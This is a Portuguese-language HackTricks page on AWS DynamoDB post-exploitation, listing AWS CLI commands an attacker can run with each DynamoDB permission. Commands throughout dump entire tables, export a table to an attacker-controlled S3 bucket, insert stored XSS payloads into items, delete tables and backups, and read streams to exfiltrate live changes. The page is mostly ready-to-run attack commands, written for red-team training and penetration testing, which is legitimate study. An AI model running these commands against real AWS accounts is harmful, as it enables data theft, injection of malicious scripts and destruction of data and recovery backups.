AWS - Exploração Pós-DynamoDB
Reading time: 9 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
DynamoDB
Para mais informações, consulte:
dynamodb:BatchGetItem
Um atacante com essas permissões poderá obter itens de tabelas pela chave primária (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso acessando os metadados da tabela (describe-table
).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Impacto Potencial: Elevação de privilégios indireta ao localizar informações sensíveis na tabela
dynamodb:GetItem
Semelhante às permissões anteriores, esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Com essa permissão, também é possível usar o método transact-get-items
como:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela
dynamodb:Query
Semelhante às permissões anteriores, esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada. Permite usar um subconjunto de comparações, mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o DB em uma solicitação.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela
dynamodb:Scan
Você pode usar esta permissão para extrair facilmente toda a tabela.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela
dynamodb:PartiQLSelect
Você pode usar esta permissão para extrair facilmente toda a tabela.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Essa permissão também permite executar batch-execute-statement
como:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
mas você precisa especificar a chave primária com um valor, então não é tão útil.
Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Esta permissão permitirá que um atacante exporte toda a tabela para um bucket S3 de sua escolha:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Observe que, para que isso funcione, a tabela precisa ter a recuperação em ponto no tempo habilitada. Você pode verificar se a tabela a possui com:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Se não estiver habilitado, você precisará habilitá-lo e para isso você precisa da permissão dynamodb:ExportTableToPointInTime
:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela
dynamodb:CreateTable
, dynamodb:RestoreTableFromBackup
, (dynamodb:CreateBackup)
Com essas permissões, um atacante seria capaz de criar uma nova tabela a partir de um backup (ou até mesmo criar um backup para depois restaurá-lo em uma tabela diferente). Então, com as permissões necessárias, ele poderia verificar informações dos backups que poderiam não estar mais na tabela de produção.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Impacto Potencial: Privesc indireto ao localizar informações sensíveis no backup da tabela
dynamodb:PutItem
Esta permissão permite que os usuários adicionem um novo item à tabela ou substituam um item existente por um novo item. Se um item com a mesma chave primária já existir, o item inteiro será substituído pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será criado.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Impacto Potencial: Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela DynamoDB
dynamodb:UpdateItem
Esta permissão permite que os usuários modifiquem os atributos existentes de um item ou adicionem novos atributos a um item. Ela não substitui o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação criará um novo item com a chave primária especificada e definirá os atributos especificados na expressão de atualização.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Impacto Potencial: Exploração de mais vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB
dynamodb:DeleteTable
Um atacante com esta permissão pode deletar uma tabela DynamoDB, causando perda de dados.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Impacto potencial: Perda de dados e interrupção de serviços que dependem da tabela excluída.
dynamodb:DeleteBackup
Um atacante com esta permissão pode excluir um backup do DynamoDB, potencialmente causando perda de dados em caso de um cenário de recuperação de desastres.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Impacto potencial: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastres.
dynamodb:StreamSpecification
, dynamodb:UpdateTable
, dynamodb:DescribeStream
, dynamodb:GetShardIterator
, dynamodb:GetRecords
note
TODO: Testar se isso realmente funciona
Um atacante com essas permissões pode habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o stream para monitorar alterações na tabela em tempo real. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a um vazamento de dados.
- Habilitar um stream em uma tabela DynamoDB:
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Descreva o fluxo para obter o ARN e outros detalhes:
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Obtenha o iterador de fragmento usando o ARN do stream:
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Use o iterador de fragmentos para acessar e exfiltrar dados do fluxo:
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Impacto potencial: Monitoramento em tempo real e vazamento de dados das alterações da tabela DynamoDB.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.